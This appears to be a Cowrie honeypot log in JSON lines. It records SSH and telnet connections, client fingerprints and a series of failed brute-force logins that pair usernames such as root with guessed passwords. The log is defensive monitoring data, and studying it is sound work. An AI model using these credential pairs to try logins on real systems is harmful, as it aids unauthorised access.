{"eventid":"cowrie.login.failed","username":"directorio","password":"directorio123","message":"login attempt [directorio/directorio123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:53.335110Z","src_ip":"201.17.146.173","session":"a73af7bdc590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:50:54.473259Z","src_ip":"201.17.146.173","session":"a73af7bdc590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47748,"dst_ip":"159.203.135.109","dst_port":23,"session":"94e24991521f","protocol":"telnet","message":"New connection: 128.199.8.54:47748 (159.203.135.109:23) [session: 94e24991521f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:05.352561Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.89.75.194","src_port":51254,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0b42086c5ea","protocol":"ssh","message":"New connection: 5.89.75.194:51254 (10.17.0.5:22) [session: a0b42086c5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:20.441474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:20.444992Z","src_ip":"5.89.75.194","session":"a0b42086c5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:20.547363Z","src_ip":"5.89.75.194","session":"a0b42086c5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vignesh","password":"vignesh","message":"login attempt [vignesh/vignesh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:20.987205Z","src_ip":"5.89.75.194","session":"a0b42086c5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:22.092140Z","src_ip":"5.89.75.194","session":"a0b42086c5ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":33006,"dst_ip":"159.203.135.109","dst_port":22,"session":"c83dd50acde3","protocol":"ssh","message":"New connection: 37.233.85.71:33006 (159.203.135.109:22) [session: c83dd50acde3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:25.985612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:25.989015Z","src_ip":"37.233.85.71","session":"c83dd50acde3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:26.101725Z","src_ip":"37.233.85.71","session":"c83dd50acde3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123ghbdtn","message":"login attempt [root/123ghbdtn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:26.440814Z","src_ip":"37.233.85.71","session":"c83dd50acde3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:27.555229Z","src_ip":"37.233.85.71","session":"c83dd50acde3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33972,"dst_ip":"159.203.135.109","dst_port":23,"session":"c53f68974c00","protocol":"telnet","message":"New connection: 128.199.8.54:33972 (159.203.135.109:23) [session: c53f68974c00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:30.127859Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.63.196.175","src_port":34934,"dst_ip":"10.17.0.5","dst_port":22,"session":"af45d5a550b1","protocol":"ssh","message":"New connection: 14.63.196.175:34934 (10.17.0.5:22) [session: af45d5a550b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:31.743958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:31.747890Z","src_ip":"14.63.196.175","session":"af45d5a550b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":36018,"dst_ip":"10.17.0.5","dst_port":22,"session":"607e2dcb9355","protocol":"ssh","message":"New connection: 109.237.96.109:36018 (10.17.0.5:22) [session: 607e2dcb9355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:31.943333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:31.947744Z","src_ip":"109.237.96.109","session":"607e2dcb9355","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:31.950151Z","src_ip":"14.63.196.175","session":"af45d5a550b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:32.036107Z","src_ip":"109.237.96.109","session":"607e2dcb9355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef123","message":"login attempt [root/abcdef123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:32.305184Z","src_ip":"109.237.96.109","session":"607e2dcb9355","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ahmed","password":"password123","message":"login attempt [ahmed/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:32.787067Z","src_ip":"14.63.196.175","session":"af45d5a550b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:33.399496Z","src_ip":"109.237.96.109","session":"607e2dcb9355","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:33.987673Z","src_ip":"14.63.196.175","session":"af45d5a550b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.44134306907654,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:39.369356Z","src_ip":"128.199.8.54","session":"a9210bf6e832","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.42565441131592,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:41.778097Z","src_ip":"128.199.8.54","session":"94e24991521f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"76.79.213.69","src_port":54574,"dst_ip":"10.17.0.5","dst_port":22,"session":"7078653094b4","protocol":"ssh","message":"New connection: 76.79.213.69:54574 (10.17.0.5:22) [session: 7078653094b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:43.993711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:43.998897Z","src_ip":"76.79.213.69","session":"7078653094b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:44.124894Z","src_ip":"76.79.213.69","session":"7078653094b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"redhat","message":"login attempt [git/redhat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:44.646849Z","src_ip":"76.79.213.69","session":"7078653094b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:45.777286Z","src_ip":"76.79.213.69","session":"7078653094b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":37264,"dst_ip":"159.203.135.109","dst_port":22,"session":"070fd4bbb849","protocol":"ssh","message":"New connection: 27.71.230.31:37264 (159.203.135.109:22) [session: 070fd4bbb849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:58.058516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:58.900722Z","src_ip":"27.71.230.31","session":"070fd4bbb849","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:51:58.904130Z","src_ip":"27.71.230.31","session":"070fd4bbb849","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password123123","message":"login attempt [root/Password123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:08.011516Z","src_ip":"27.71.230.31","session":"070fd4bbb849","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":45598,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb0bcec96c5a","protocol":"ssh","message":"New connection: 193.37.70.224:45598 (10.17.0.5:22) [session: bb0bcec96c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:08.227032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:08.231465Z","src_ip":"193.37.70.224","session":"bb0bcec96c5a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:08.351056Z","src_ip":"193.37.70.224","session":"bb0bcec96c5a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oxxxymiron","message":"login attempt [root/oxxxymiron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:08.644063Z","src_ip":"193.37.70.224","session":"bb0bcec96c5a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":42982,"dst_ip":"159.203.135.109","dst_port":22,"session":"7603a75816bf","protocol":"ssh","message":"New connection: 147.45.199.80:42982 (159.203.135.109:22) [session: 7603a75816bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:09.058313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:09.065151Z","src_ip":"147.45.199.80","session":"7603a75816bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:09.158766Z","src_ip":"147.45.199.80","session":"7603a75816bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9638527410","message":"login attempt [root/9638527410] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:09.429999Z","src_ip":"147.45.199.80","session":"7603a75816bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:09.739646Z","src_ip":"193.37.70.224","session":"bb0bcec96c5a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.1","message":"Connection lost after 12.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:10.172936Z","src_ip":"27.71.230.31","session":"070fd4bbb849","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T15:52:10.522410Z","src_ip":"147.45.199.80","session":"7603a75816bf","protocol":"ssh"}
